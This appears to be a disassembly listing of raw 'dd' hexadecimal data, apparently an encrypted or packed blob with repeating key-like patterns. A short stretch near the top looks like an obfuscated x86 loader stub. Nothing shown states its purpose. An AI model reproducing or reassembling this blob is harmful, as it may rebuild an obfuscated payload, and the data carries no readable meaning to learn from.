		dd 0D80D3417h, 109E9E7Eh, 0C0E1C647h, 93CE166Ch, 94h, 4CB183ACh
		dd 8AB87E6Bh, 92396DA5h, 0C20AD7C8h, 0C8BEA318h, 0A18F7AEBh
		dd 1578168Eh, 93F94B6h,	0FC2320BFh, 5045B1BBh, 14468EA1h
		dd 52B8BC1h, 0CC88D5B4h, 0EA6D9CADh, 2B0A8AB0h,	0D27CCEF4h
		dd 30A50283h, 0A8AAFD6h, 1C767E9Fh, 0EA62F39Fh,	0F195CCCCh
		dd 43CAF5D2h, 959D168h,	0AB0123A7h, 1CB1BE04h, 0A06E35D4h
		dd 8A0B1071h, 26B69CBBh, 0F4FC1D2Ch, 6CFD4FE2h,	0B385F678h
		dd 59212AEh, 1B9FBF6Eh,	0E7755D7Ah, 174616Bh, 0A57EE1Ah
		dd 0DA7856B7h, 280ABEA3h, 68A9B896h, 9DB49DF9h,	0D3646610h
		dd 5E7D1C7Dh, 84C1482Fh, 3A0E516h, 3F55B124h, 0FF1E0A84h
		dd 15476F5h, 0F4456B4Bh, 66074395h, 9866A6D7h, 3BB752E7h
		dd 8BC114BEh, 2381032Ch, 0F3420C9Eh, 0AB7F2D92h, 6D53814Bh
		dd 0E5BFAADCh, 1326C74Dh, 50DFE372h, 6223B63Ah,	7C1D77B9h
		dd 475F7EDh, 6EDE6F53h,	2436BEDFh, 3A1BBB91h, 7E268615h
		dd 0E3EDB9F1h, 0CFEC60F1h, 67F65EEBh, 124F9E26h, 3, 0BDE17BB0h
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 9368240Ch, 8900002Eh
		dd 8951240Ch, 4C181E1h,	81000000h, 4E9h, 240C8700h, 2434895Ch
		dd 1975C968h, 240C8B06h, 4C481h, 8B540000h, 0C4832434h
		dd 79646804h, 0C890000h, 8468F24h, 5E2434FFh, 4C481h, 0C8B0000h
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 6A6E95Ch
		dd 0D943FFFAh, 111A3B97h, 46B8E06Ah, 306197Ah, 25E0FFC5h
		dd 66685EEh, 7B09F88Eh,	637508F0h, 5935DCA9h, 853583DBh
		dd 41EA921h, 28157CACh,	0A75AB7EDh, 1A345316h, 657932D4h
		dd 0B016422h, 0D4B5243h, 7056BF77h, 82435F30h, 4075320Bh
		dd 0DC7A683Fh, 91451625h, 0E61B41DCh, 7004D2AAh, 25216E5Bh
		dd 803629ACh, 0C02E2F08h, 0BC43C779h, 267BCC5h,	0C64DA7EFh
		dd 10105039h, 0AE35C4DBh, 0EF443FC7h, 5372156Ch, 5DB160A0h
		dd 0AEB0BB59h, 57493256h, 0ABB36556h, 0D4383D36h, 16B13256h
		dd 229CC237h, 51316C54h, 5DB15391h, 0AEB135BFh,	2C275F56h
		dd 2AB4A505h, 0DA483256h, 0EAB138DDh, 0F3BE5256h, 0BAB13256h
		dd 5DD020E0h, 23BEC756h, 57B1325Eh, 0ABB3B259h,	0B4D13256h
		dd 2D13256h, 75B1325Fh,	5259572Fh, 921CA043h, 0FDEFCEEFh
		dd 5163C6ECh, 0ABD06C03h, 0D5BEDB56h, 0ED83256h, 3A532EA3h
		dd 0CE40D540h, 0B5C8D3BEh, 0F3E165DAh, 57B13256h, 297766EAh
		dd 0D55ED310h, 0DF3BCA56h, 75B13209h, 40F92E56h, 0FE33172Ch
		dd 3B538039h, 0C7CA023h, 53B13282h, 29B132A3h, 69BE3256h
		dd 75B1325Fh, 4D05236h,	25BD9BCCh, 47B13237h, 57B13245h
		dd 0CF59B36Ah, 3EDB18DEh, 8C000275h, 0F49FF974h, 0BA3F7DBCh
		dd 5DB1C756h, 0AEBDDB36h, 96B43256h, 0C2D1E9h, 8172873Bh
		dd 231AEE9h, 75B15334h,	0BAB0B959h, 5D493256h, 26BECE56h
		dd 57B13277h, 0ABA5DB36h, 78103256h, 0DAF47E8Ah, 8DB567F5h
		dd 0A56CEAC0h, 0A2D2933Bh, 5930871Bh, 793EE88Fh, 42B13237h
		dd 0D5B13245h, 47127A7Dh, 0EE6B45E0h, 4F79C606h, 0E5FC9A4Eh
		dd 0AEF22198h, 40303D56h, 42B13256h, 0D5B13244h, 0CBFFE551h
		dd 4775167Ah, 27F1FB1Dh, 0C4298848h, 0AEB165E3h, 52363D36h
		dd 0CDB13256h, 9172DBD7h, 0EAA1BD59h, 7E583256h, 9FB13256h
		dd 0BC9D3EB0h, 5D581343h, 57D01149h, 0A5383D56h, 3CB13256h
		dd 0EAB1325Fh, 589BAF22h, 1B93633h, 5C333D2Ch, 52B13256h
		dd 5E583256h, 5B13256h,	6D34771Dh, 6DFAB280h, 75443256h
		dd 0BB393D56h, 0A4B13256h, 0A1D13256h, 0D3BEF5E1h, 0ABB13256h
		dd 0D2303D37h, 0E5B13256h, 75B133D5h, 0BAB1CB56h, 5DBBB759h
		dd 0AB583256h, 2AB13256h, 0C6214094h, 0C7583256h, 0D3B13256h
		dd 67AFB7EDh, 668D492Fh, 0CDB4F61Bh, 28271CD0h,	0BEB13212h
		dd 0ABB13253h, 894FEEE1h, 60BE5213h, 75B13250h,	39B6FDD7h
		dd 4D591C60h, 10B13256h, 0D1C9F44Ch, 9781F10h, 261D8F85h
		dd 8CCB88A6h, 2D6DE3D7h, 0BAB15308h, 5DB123BFh,	28E61F56h
		dd 1F31EF1Dh, 0E7D67028h, 8616E530h, 0E5583E55h, 28B13256h
		dd 68CCB24Eh, 2C45A53Ah, 0F3E4404Fh, 57B1273Fh,	0ABB130AAh
		dd 0D5A8B456h, 0FE583256h, 0E2B13256h, 0D90A1DC7h
		dd 0C28D1E4Fh, 489EB495h, 0EC5ED960h, 0ABEFB275h, 0D269CA56h
		dd 0EAB03252h, 75B4324Ah, 0BA833270h, 0ED0321Eh, 520EC603h
		dd 2BFAE52Ch, 0A4DC8541h, 0D5B139DFh, 0EAB7DB56h, 6E7B3256h
		dd 0E29DD24h, 0DDBE3256h, 0AEB1325Eh, 57B3B759h, 0CAD13256h
		dd 3CD13256h, 0EAB1325Ch, 26970B08h, 0C93A96C6h, 4E1AE85h
		dd 0A1B13237h, 57B12BD0h, 0ABA5DB56h, 70DF3256h, 57CCDF76h
		dd 49BCAD70h, 11C8B8h, 0A551825Ch, 19D16D94h, 843B8CFBh
		dd 0ABD060C4h, 0D5B1CA56h, 16B132AAh, 77E43256h, 0BAB13257h
		dd 0B4B132A3h, 0AEB13258h, 61A577AEh, 8D5BBC6Fh, 0C44F9958h
		dd 0EAB1EFD0h, 75BE3003h, 0B0583256h, 0E1B13256h, 4DC6C57h
		dd 0AB0184FAh, 0CBB132A3h, 0D5B134BFh, 87A6B056h, 8D12373Fh
		dd 0E8E1A237h, 0FE16006h, 0F6EB0359h, 36D10359h, 9ABE6A0Ch
		dd 0DAE36236h, 76E96867h, 75B13BBFh, 0E9F3BF56h, 0F23FBBC6h
		dd 403077EAh, 6C0834FEh, 0ABB134BFh, 81165456h,	77F2C0ABh
		dd 25E96837h, 0E8E16006h, 6CBE6006h, 9FBE6A0Ch,	66BE6006h
		dd 0F3EB6A0Ch, 0DD580359h, 1AB13256h, 693EDC3Fh, 0E01AC873h
		dd 3441A20Eh, 8BADBDB8h, 893099ACh, 0F919E190h,	0D5B13EBFh
		dd 0B86C8656h, 0EB681275h, 10247E29h, 7D0AFCDh,	83F5A70Eh
		dd 0D6D7C134h, 42B79CA7h, 0D5B13242h, 810BD78Ah, 3237539Eh
		dd 59A3AF22h, 62EFABB6h, 0F5DB675Ah, 36EE63CBh,	54216A0Ch
		dd 0E4BE279Ah, 0EAB134BFh, 1146C456h, 0E022B09Bh, 0CDE9680Eh
		dd 8AF5BB0Eh, 7E36252h,	0A4D05204h, 0D5A0DB67h,	0B0B43256h
		dd 53305ADDh, 80C2631h,	0A308B255h, 0F4C49E09h,	7803D0Eh
		dd 0A4D05204h, 0D5B9DB67h, 0C3013256h, 906D7DF8h, 0E2EB59ECh
		dd 0F9E96A0Ch, 3362F05Bh, 0DB26A37h, 6AC76A0Eh,	0C7FB16DCh
		dd 334E99Bh, 75B1325Bh,	0F886EFD6h, 0ABC92470h,	8B575E25h
		dd 57D06930h, 0ABB1CE56h, 0D5BDB959h, 65BE3256h, 75B13250h
		dd 0BAB1B859h, 5DB13256h, 47B132AEh, 57B13242h,	3E3BDB9h
		dd 889BDF71h, 23ADF88Eh, 0E00A1B25h, 65F3F442h,	52B132A3h
		dd 0AEB133DBh, 57B1CA56h, 0CBB132AEh, 0D5BCB259h, 0E2583256h
		dd 9FB13256h, 0EC1EED5Fh, 3CECDEB8h, 0AEA2BD59h, 59583256h
		dd 0D8B13256h, 659EF2DFh, 0FCD125C9h, 0B2116F94h, 0B5B13281h
		dd 5DB138DAh, 5B315256h, 0A4305403h, 0ABD0D41Fh, 2B3A5256h
		dd 8AD0E2DDh, 75D0F5DCh, 0BAB1CE56h, 5DBBB459h,	0AB583256h
		dd 67B13256h, 6D1C0142h, 5DBE3256h, 0EAB13257h,	89B132AFh
		dd 0BF583256h, 0FB13256h, 0A3851F85h, 58583256h, 9BB13256h
		dd 0F2B06548h, 971CFA6Ah, 4042EDABh, 0BA44B3F1h, 2E35256h
		dd 0B2A6DDD7h, 57D0748Ah, 20D75256h, 297CB29Eh,	16B13237h
		dd 7C583256h, 0DB13256h, 0BD33E206h, 9E99B5CCh,	574D3256h
		dd 0ABB1CA56h, 0D5B13BBFh, 33A7CB56h, 3E5FFDFAh, 0BAB10F53h
		dd 5D353D36h, 2EB13256h, 57D09483h, 5B3A5256h, 0DAD0F3DCh
		dd 0EAB133D3h, 75B1CA56h, 0BAB126BFh, 0B1425A56h, 85185266h
		dd 0F375D4BBh, 163BB259h, 30A99A4Bh, 0E5B13264h, 75B127D3h
		dd 0BAA1DB56h, 0F6BA3256h, 37686F53h, 0B8EED512h, 0DC1E94F9h
		dd 0D5B167DBh, 13B132A3h, 0FEBE3256h, 0BAB13257h, 52B132AFh
		dd 0AEB133D3h, 57B1CE56h, 0B8585236h, 9AB13256h, 9B49BF4h
		dd 0CE34F467h, 0DC48F617h, 240B0B2Ch, 23BEB8C5h, 57B13256h
		dd 55063D37h, 0DAB13237h, 0EAB13EDAh, 73303D56h, 0B5B13256h
		dd 5DB132DDh, 47B13256h, 57B13244h, 4F5BA681h, 0DE4DCC2Ah
		dd 0D0F371ECh, 8964AA90h, 0BAB193FEh, 0DC72B936h, 28CCAB81h
		dd 57B1536Ah, 0CA6FB836h, 0C6583256h, 5B13256h,	3A37D1B2h
		dd 18582C3Ch, 6FF6D165h, 29F50B0Ah, 57B19074h, 0CBB132AAh
		dd 0CCC68930h, 8B66B930h, 75BDB659h, 0BD583256h, 0DAB13256h
		dd 3E00E0D6h, 57B1E8C4h, 0C847B236h, 0DAEB6336h, 0EAB132DEh
		dd 75D05356h, 0BABEDB56h, 0D9E53256h, 7836CA9Dh, 185AE473h
		dd 0C1967DAFh, 0D5BDDBF0h, 71743256h, 71B813E3h, 5E3654EAh
		dd 5DB1A36Dh, 1E63B236h, 36618559h, 53B132AEh, 0D5443256h
		dd 0EAB8DB56h, 31F23256h, 0BCAC89A7h, 5D8F2F75h, 0AEB1CA56h
		dd 57B8B059h, 11D13256h, 0A73A2947h, 0EAD05336h, 75A3DB56h
		dd 62193256h, 81599BF9h, 556EC7EFh, 73BE3A8Eh, 312E72Fh
		dd 0D5443256h, 0ED353D56h, 7AB13256h, 0BAB133D9h, 5DB1CE56h
		dd 5BB132AFh, 57443256h, 0ABB1CA56h, 0D5B8DB36h, 56FC3256h
		dd 0F392B3CFh, 0DB68B1D9h, 5DBFDB36h, 0ECCB3256h, 8975625Dh
		dd 84A4BD9Eh, 52B78BA9h, 0E9788930h, 89B13237h,	4FD13256h
		dd 9043FECh, 0AEB15332h, 89063D36h, 12D75237h, 0D5D0B891h
		dd 6A495256h, 75D09AB8h, 0BAB1C756h, 5DB9BD59h,	29BE3256h
		dd 57B13254h, 0ABB15336h, 0D5B13BBFh, 2C2C0A56h, 4F3B252Fh
		dd 0BAB16E28h, 0A4B132AEh, 22BE3256h, 57B13257h, 53B132AFh
		dd 0DA583256h, 30B13256h, 2E1E68F6h, 0E53DAF18h, 5379B5ACh
		dd 0AE497303h, 57A0DB56h, 248D3256h, 45ED498Fh,	6AD49381h
		dd 0D381B056h, 0BA937FCCh, 5DB1CE56h, 57B132AFh, 44583256h
		dd 18B13256h, 3F9B3A5Bh, 9D57EC6Ch, 6830795Ch, 3118B252h
		dd 5DB12A10h, 0AEB13EBFh, 972D0056h, 8EE79EEh, 809519ECh
		dd 8AB132C9h, 0F7FD62E9h, 4A063D5Eh, 52B13237h,	0AEB13FD9h
		dd 0A4305256h, 8A2988B7h, 5EE3BCEDh, 0EAB15341h, 75A6B459h
		dd 0A8583256h, 6FB13256h, 1350B6ECh, 46B8DF4h, 0CCEC0192h
		dd 6D0D0407h, 54D15251h, 718585D2h, 0BB303D37h,	0A5B13256h
		dd 0A1B13237h, 57B120DEh, 0ABBCDB56h, 50AC3256h, 0A9A12356h
		dd 0C7DDED86h, 0BAAA3567h, 5DB1CA56h, 0AEB139BFh, 26467E56h
		dd 0D2BE216Ch, 33606708h, 53D13256h, 55FF8A95h,	0BAB13DBFh
		dd 711F7D56h, 67139D3Dh, 4660949Fh, 0A1042801h,	0B5B13237h
		dd 6AEACB07h, 15D0279Ah, 53EECB00h, 5DB13259h, 0CC9CDBE5h
		dd 869EB571h, 0B91F6FAEh, 0B4F27CBFh, 0F8583256h, 0D2B13256h
		dd 89E362FFh, 4520A445h, 8F07FDD2h, 0BE23EB92h,	53B13298h
		dd 55D13256h, 0ED0EE984h, 14D07FD9h, 43493256h,	4E583256h
		dd 54B13256h, 0C187A9A6h, 0C8AE01C8h, 0A3371A8Bh, 0F801DE25h
		dd 75B10C9Dh, 0BAB13DBFh, 95853056h, 0B45482E3h, 0C48C904Dh
		dd 7825DC58h, 0D5483256h, 0E1353D56h, 15B13256h, 3BA8FDD6h
		dd 1696E7BEh, 0AEB15338h, 57BDBA59h, 2ABE3256h,	0D5B13250h
		dd 0EAB1B959h, 75B13256h, 0BAA1DA36h, 4C1D3256h, 5669F972h
		dd 4A6CC45Ch, 0C955FDEh, 8AE70400h, 8BD1620Dh, 13D1530Fh
		dd 0B150FCD7h, 5DB153AFh, 877DB236h, 0DDAD8930h, 42B13237h
		dd 0D5B13246h, 0D144CF15h, 531C7F6h, 2915AAE9h,	1FFAAF51h
		dd 0A6583256h, 0EEB13256h, 3C55D1F4h, 0D53A05CAh, 0FE585256h
		dd 2BB13256h, 0BDBFB8A5h, 9DA2B778h, 6FDC0D9Fh,	54727801h
		dd 5342B66Ah, 0B5B13237h, 0E5E7C7E3h, 75B132D1h, 0BAD06C56h
		dd 5DB1CA56h, 0CEB132AEh, 57B13EBEh, 2E34456h, 552AD8C3h
		dd 0EE8E58F0h, 75373D4Ch, 0E3B13256h, 27DE8B30h, 0A1B13237h
		dd 57B13ED8h, 0AD373D56h, 0DAB13256h, 0EAB132D4h, 9CB13256h
		dd 0BAB13244h, 92DC4768h, 41FDAC2Fh, 0A78E0484h, 0A386040h
		dd 0D5B11731h, 12063D36h, 0E4F68930h, 0BAB1CA37h, 5DB0B859h
		dd 0AE4D3256h, 453C3D56h, 0CBB13256h, 0D5B135BEh, 11C42656h
		dd 7206D3A8h, 6C0E3D09h
		dd 0A5B13237h, 2FD13256h, 724A629Fh, 9A0F542Ch,	0D5B1533Ah
		dd 0EAB9B759h, 0F8BE3256h, 0BAB13254h, 5DB15336h, 0AEB13ABFh
		dd 2D2EAF56h, 9095F35Eh, 2CB13287h, 6FBE3256h, 75B13272h
		dd 0BAB8DB36h, 0C0DE3256h, 83F2E935h, 0BF464D32h, 0ABB13258h
		dd 6EB40376h, 0DE63A797h, 19A2E34Eh, 0DBEEF0D0h, 5DB13EBFh
		dd 18427856h, 928DE03Bh, 6B14FC44h, 3CB1327Dh, 0EAB1325Ah
		dd 0C727C0F5h, 83E8EDF5h, 0D420DB49h, 0A7583256h, 0E2B13256h
		dd 39665982h, 0D8052E31h, 8CD13256h, 2EF0D4D7h,	0DAB13237h
		dd 9BF487EDh, 52D0CB48h, 47583256h, 76B13256h, 7D185DB6h
		dd 0EBB908B2h, 68E02EA4h, 0BAD25302h, 91315256h, 28BE6093h
		dd 57B13256h, 0ABB1530Eh, 0D5B7DB36h, 0C8F03256h, 6A2E1A5Ah
		dd 46B13237h, 5D483256h, 0AEA2DB56h, 0D4A23256h, 0C5FEF86Bh
		dd 60250A43h, 0FBD843B2h, 0E760DB09h, 0DAB13207h, 6962B330h
		dd 0A75863F6h, 0B13256h, 0A461E1F1h, 0B3B498AAh, 3D1530Ch
		dd 75B13247h, 0F0EB123h, 5125D3CBh, 0D552752Ch,	7844BB38h
		dd 59306389h, 0C5D15F85h, 0EAB1530Dh, 15B132AFh, 0BAB2B759h
		dd 0AC313256h, 0AEB1537Fh, 0DCD75236h, 43D0CB80h, 0D5B13250h
		dd 0C2D6A9Eh, 2F4D0883h, 53B13237h, 5DB1325Eh, 0A4AF1F3Bh
		dd 0EEBB6F6Ah, 0AC583256h, 0F0B13256h, 2A907ACh, 75B13A73h
		dd 0BABDB959h, 52D13256h, 0AEB132D1h, 12085456h, 0ABB153C0h
		dd 3305436h, 8B4D0EE6h,	0F5BE3256h, 0BAB1325Eh,	3B48B936h
		dd 0CF6B75EEh, 0D6D13256h, 56A0C8A0h, 2063D23h,	3B13237h
		dd 75B13251h, 0CB6D12B8h, 5DADC547h, 0AEA3DB56h, 47BF3256h
		dd 8B6E8670h, 52ACB0F1h, 404C2433h, 0EF79518Ah,	0BA493256h
		dd 5D44CE56h, 0AF393D56h, 0AFB13256h, 0AB493256h, 0D5B1CA56h
		dd 0EAB126BFh, 0C560A556h, 0AC2326D7h, 40FB839Ah, 97BB709h
		dd 87FFD6BAh, 0AD3A3DE6h, 0B5B13256h, 12498D59h, 8DB13237h
		dd 0BAB6B659h, 0DBBE3256h, 0AEB13257h, 0BEB132AAh, 0ABB1325Eh
		dd 6CEA5264h, 0BDAF02FCh, 9CB132AFh, 0BAB13251h, 14A75B0Ah
		dd 0AE21CF02h, 0D0BECA56h, 0ABB1325Ah, 0D5B7B159h, 64BE3256h
		dd 75B13256h, 0BD583256h, 0BEB13256h, 0EC047022h, 57B18D7Ah
		dd 0CBB132AAh, 0D5343D36h, 8CB13256h, 0CA77E2D7h, 0DBB88037h
		dd 5DB0B559h, 0AE4D3256h, 57BFDB56h, 5CF53256h,	3B1F530Fh
		dd 0FC1BDD22h, 0AFCDD202h, 0DBD13256h, 5DA7B859h, 0BF583256h
		dd 0B4B13256h, 0ADEF4AF8h, 0C9012478h, 0F7CCBFF9h, 96A8C2BEh
		dd 31D13256h, 3C7AB986h, 0AE4D3256h, 57B4DB56h,	0EBAA3256h
		dd 0D59B9AE9h, 0EAB1C756h, 75B135BFh, 2BFD5A56h, 0DFF5620h
		dd 0A0583256h, 33B13256h, 9A19DEFDh, 6BE5464Bh,	61E8837Bh
		dd 80B13240h, 0BA443256h, 5DB9DB56h, 3FFE3256h,	0E647D21h
		dd 0ABB15DE1h, 0D5BDBA59h, 6DBE3256h, 75B13250h, 0BAB1BF59h
		dd 5DB13256h, 0AD333D36h, 58B13256h, 20D7CDE1h,	0D5B15381h
		dd 0EAB13DBFh, 45D7ED56h, 936DCA4Ch, 4EAA0328h,	93C06248h
		dd 57443256h, 0F9E75256h, 6F0E6809h, 8BD1AB44h,	9CD13256h
		dd 0BAB1325Eh, 400AC312h, 90AC1150h, 37B13237h,	20ECE4D6h
		dd 55D1539Dh, 9401509Ch, 8DB13237h, 0BA493256h,	0B54D5256h
		dd 0AEB13244h, 64AF8681h, 0CB9E82C9h, 0AD7933E8h, 4DA1FFEh
		dd 0FED7DDF9h, 0BAD069A6h, 0E5D75256h, 17D7ACCDh, 57D0B1E4h
		dd 5C0B5256h, 54CEF891h, 42E9E18Fh, 75B15308h, 0BAA2BC59h
		dd 0DFBE3256h, 0AEB1325Bh, 57B13ABFh, 201A3356h, 71353D3Eh
		dd 0EB313D99h, 8DB13256h, 32BE3256h, 5DB13251h,	0E9A18C36h
		dd 57D05426h, 0ABA3DB56h, 66B73256h, 1B0D5783h,	0A0D456F5h
		dd 423BDFD1h, 7E1DBF7Ah, 0AE4D3256h, 57B1CA56h,	0AF333D36h
		dd 0B3B13256h, 35AC2E8h, 75B1325Eh, 8B0FA26h, 544F6122h
		dd 0AEB1CB37h, 57B8B659h, 0F8D13256h, 1B305408h, 0EAD03E2Ch
		dd 62363D56h, 53B13256h, 5DB13244h, 18A32FB9h, 0E343DBD8h
		dd 0BB75205Dh, 2C26250Ah, 0EAB11491h, 0F4D7CE36h, 0DB50D890h
		dd 0D1BE3256h, 0AEB13257h, 37B132AAh, 0B858C1DDh, 0B7B13256h
		dd 0B597CF2Ch, 678F7242h, 9CA840Fh, 0F9B7F6EEh,	5BD07367h
		dd 0E7D13256h, 0A83E3D31h, 0DAB13256h, 12D0F1E1h, 0F4BE3256h
		dd 0BAB13257h, 0B4B132AAh, 0AEB13246h, 74A29C3Ah, 14AFBACEh
		dd 38BF2230h, 0B462275Dh, 75493256h, 0BAB1CA56h, 5DB13DBFh
		dd 0DBBDD756h, 0CA048DD5h, 0D1BDA6B7h, 0BBCAD111h, 52D13256h
		dd 7995FCB3h, 0ADD4D9D7h, 5DD0381Eh, 27BECB56h,	57B1324Eh
		dd 0ABA3B959h, 0D8583256h, 79B13256h, 9A2C715Dh, 28E3FBABh
		dd 172815C2h, 2EBE3256h, 57B1324Bh, 0ABA6B959h,	0C7583256h
		dd 9DB13256h, 3BB16E1Dh, 95B0BD22h, 439BBFDh, 63817DFAh
		dd 58B13257h, 0ABB12FD5h, 0C5595256h, 2B13256h,	0D152D48h
		dd 65727492h, 0FC6214EFh, 0F056E4DFh, 8677B330h, 0ABB153DBh
		dd 0D5B122BFh, 0CC4A4F56h, 0AEE1DA2Bh, 12F72968h, 0FB29530Dh
		dd 0A6333DA4h, 37B13256h, 0E8CA8830h, 0D5D0C3DDh, 0EAB1CA56h
		dd 75B122BFh, 803F3B56h, 0FFC63C6Ch, 20100C97h,	54D17834h
		dd 5EB132DDh, 0DAB132AEh, 0EAB128D2h, 0C2BE5256h, 0BAA1DBA8h
		dd 8D733256h, 85D190B2h, 0D6C448FCh, 7240B1h, 0D5D05D0Bh
		dd 0E13E3D56h, 9CB13256h, 0BAB13250h, 7D097D12h, 0AEB10CD0h
		dd 57B9B359h, 25BE3256h, 0D5B13254h, 0EAB15336h, 75BCB759h
		dd 0DCD13256h, 8407D4D7h, 3A55F5D7h, 0AED023C0h, 0AB493256h
		dd 6BD75256h, 62BEB9EEh, 75B13255h, 0DB69B930h,	0D1BE3256h
		dd 0AEB13250h, 0DCF08236h, 0ABB15388h, 0D5B13CBFh, 0C632C656h
		dd 0C9450638h, 0D25AAB20h, 5D87D339h, 0BE0A5256h, 0BEC7A49Eh
		dd 0ABB13251h, 0A7D89209h, 8B444C53h, 7B583256h, 0B1B13256h
		dd 6F376E87h, 0D22C0C53h, 8A7BC937h, 0A4B132DFh, 0D5B12ED6h
		dd 0FC383D56h, 9CB13256h, 0BAB13247h, 988A4AD7h, 7DB884B1h
		dd 0CE6F8524h, 11AAA055h, 20B13225h, 0F9583256h, 0C5B13256h
		dd 44C16B22h, 394F06DEh, 2E25F700h, 96373FCFh, 0ABB183ECh
		dd 0DAB132A3h, 0EAB12FDFh, 0A03B5256h, 0BAB126BFh, 98EA4E56h
		dd 513F8611h, 55D8A2D8h, 0DF386D27h, 1729BF36h,	0EAB15369h
		dd 8DB132AAh, 0DAB132A3h, 5DD0FCDDh, 0BE585256h, 60B13256h
		dd 0BCD9B186h, 21B7A6E5h, 68014EC0h, 13D84656h,	2916E3D7h
		dd 553F3D37h, 0A1B13256h, 57B130DCh, 0ABD05256h, 54BE5256h
		dd 0EAB13253h, 5753B330h, 0BAB15366h, 52B132AFh, 0AEB135D8h
		dd 56343D56h, 52B13256h, 56BE3256h, 0EAB13257h,	80B132AAh
		dd 0BA483256h, 5DA1DB56h, 40253256h, 24774514h,	615E266Ah
		dd 3D1E5CFh, 0EAB15AAEh, 75BDB559h, 31BE3256h, 5DB13250h
		dd 0AEB1B959h, 57B13256h, 0ABB4DB36h, 55AA3256h, 0BCE09670h
		dd 75B1B859h, 0DBE93256h, 5B583256h, 13B13256h,	29D594B4h
		dd 0A4B13210h, 0D5B129DCh, 0FF363D56h, 9CB13256h, 0BAB13246h
		dd 0B5DB9B47h, 23ED74D1h, 0F3A01E8Ah, 377AFA6Ch, 0D2583256h
		dd 90B13256h, 958832CBh, 0BAB153BDh, 5DB6B259h,	2ABE3256h
		dd 57B13257h, 0A4B132AFh, 0D5B122D9h, 0E0383D56h, 9CB13256h
		dd 0BAB13253h, 4F36C6ABh, 0A1B132DEh, 57B133DEh, 57D1C756h
		dd 0D5B121BEh, 5E972256h, 0F7161289h, 0ACD4B54Bh, 3E6D98ABh
		dd 56EEA89Eh, 57B123BEh, 3BCAEF56h, 68F9E7AAh, 5A812E95h
		dd 0B22E52C0h, 0E3EB10AAh
		dd 0A4B13237h, 0A9583256h, 59B13256h, 0BE802299h, 0D54408A7h
		dd 0E6373D56h, 15B13256h, 0B78616EFh, 86305409h, 0AED0B226h
		dd 314D5256h, 0C269D8D7h, 0B5B13237h, 0DDB6D3D7h, 0FFD13A1Ch
		dd 0B5D053B9h, 5DB133D0h, 0AEB1CE56h, 57B13EBFh, 0A1A6CB56h
		dd 0D924B1BDh, 3085A53h, 8DB132EDh, 0DB168336h,	0D7BE3256h
		dd 0AEB13259h, 57B138BFh, 34BAED56h, 0DE862E8Eh, 8A60B3E1h
		dd 0F703E3D7h, 0A9095120h, 3CC1292Eh, 0A2583256h, 61B13256h
		dd 4ADA8CBCh, 0F3DF7CCCh, 0EAEF51DCh, 75B6DB56h, 33FA3256h
		dd 0F644DF3Eh, 52B132A9h, 0DDBE3256h, 0ABB1325Ah, 0D5B7B959h
		dd 60BE3256h, 75B13256h, 3D13256h, 5B3B283h, 0AED0C2DDh
		dd 0BE4D5256h, 0ABB1325Ch, 46FE17AFh, 34E72D56h, 75D0A4BCh
		dd 0BABBDB56h, 0E30C3256h, 0CE6BE882h, 67A83DE5h, 2CBE3256h
		dd 0D5B1324Eh, 0EAB121BFh, 0FFD54056h, 54B9D39Fh, 0DD9DAFF8h
		dd 3E1D5E97h, 169BAB11h, 20BE3256h, 0D5B13251h,	0EAB0B059h
		dd 75483256h, 0BABADB56h, 754B3256h, 0CF145B9Bh, 0A4435C94h
		dd 0ABB4DBA8h, 0AA023256h, 0EA6A2C1Ah, 0CCD75256h, 53D1A27Fh
		dd 5DB1325Bh, 0C9110F67h, 448D322Ch, 0F95A297Fh, 263A549Ah
		dd 6CBE5337h, 75B13247h, 0BAB13EBFh, 0F333AC56h, 0F2059F9Fh
		dd 0D6C1F0CDh, 0A4B13282h, 0D5B133D0h, 0EAB1CB56h, 75B6B459h
		dd 31BE3256h, 5DB13257h, 47B132A3h, 57B1325Fh, 2654072Fh
		dd 0AA61119Dh, 61BE52D5h, 75B13242h, 0BAB13CBEh, 0A1DD0356h
		dd 0C9E6E647h, 0FDF9DE1Dh, 0F08F112Fh, 0D5B5BE59h, 55D73256h
		dd 75D0955Bh, 0BAB1CE56h, 0D50F5436h, 0AEBCDA9Fh, 0A03A3256h
		dd 9CEB6A30h, 0CF098BBFh, 8C9449A6h, 2C972EE9h,	0DAB13237h
		dd 0AE3A52A3h, 0CFD0C5DDh, 0AF443256h, 0AB483256h, 0D5B1CB56h
		dd 0EAA5B159h, 9DD13256h, 0BAB1325Eh, 0EA83AA8Bh, 8FCA1E48h
		dd 8E0F5408h, 0A4D1530Eh, 7E08FDE9h, 8BBCAD0Eh,	67583256h
		dd 33B13256h, 9D47854Ch, 25258C4h, 5A8A3CFh, 0FF7FC114h
		dd 0DAB1324Eh, 0EAB120D9h, 87305256h, 0B7070CA0h, 5DB137BFh
		dd 44D3D56h, 57D05453h,	2ABE5256h, 0D5B13254h, 5DBEE8DDh
		dd 75B153A7h, 0BA90B859h, 0B4D13256h, 0AEB13242h, 16F5211Fh
		dd 0C18C51E9h, 2477D7F2h, 0E0894953h, 14115560h, 0BAB1BB59h
		dd 5DD03256h, 0AEB1CE56h, 2E2F8A36h, 0A4D01E62h, 0D5B133D7h
		dd 0EAB1C756h, 9CB132AEh, 0BAB1325Fh, 0A411BD7Bh, 0A7EDCh
		dd 37B132B6h, 0ABB0B459h, 0B4483256h, 66BE3256h, 75B13242h
		dd 0BABFB759h, 54583256h, 16B13256h, 507DDE19h,	0A46E9BDAh
		dd 6BD13256h, 0CC1D192Ch, 0A60B5436h, 0B5D05327h, 5DB13ED6h
		dd 0A8343D56h, 58B13256h, 0ABB132D9h, 3CB13256h, 0EAB1325Eh
		dd 4E841D7Dh, 0E7CFAFB6h, 52D13256h, 0AEB130D1h, 0D6EF6556h
		dd 5C1674A7h, 0D544537Bh, 6BD75256h, 7A371F90h,	0BAD0E8E1h
		dd 5DB6DB56h, 0B7783256h, 0B403E4CCh, 0A4B132A2h, 0D5B133D5h
		dd 0EAB1CE56h, 8DB132A3h, 0DCD13256h, 3DD0E1DDh, 0AEB9DB36h
		dd 2C173256h, 0E339F095h, 6ABECF20h, 8CE05394h,	2B33E8E9h
		dd 0B5B13237h, 5DB110D7h, 27BE5256h, 57B13256h,	0ABB126BEh
		dd 8C107156h, 0B6A5C94Dh, 7E11C32Dh, 0F5D243A8h, 6428F637h
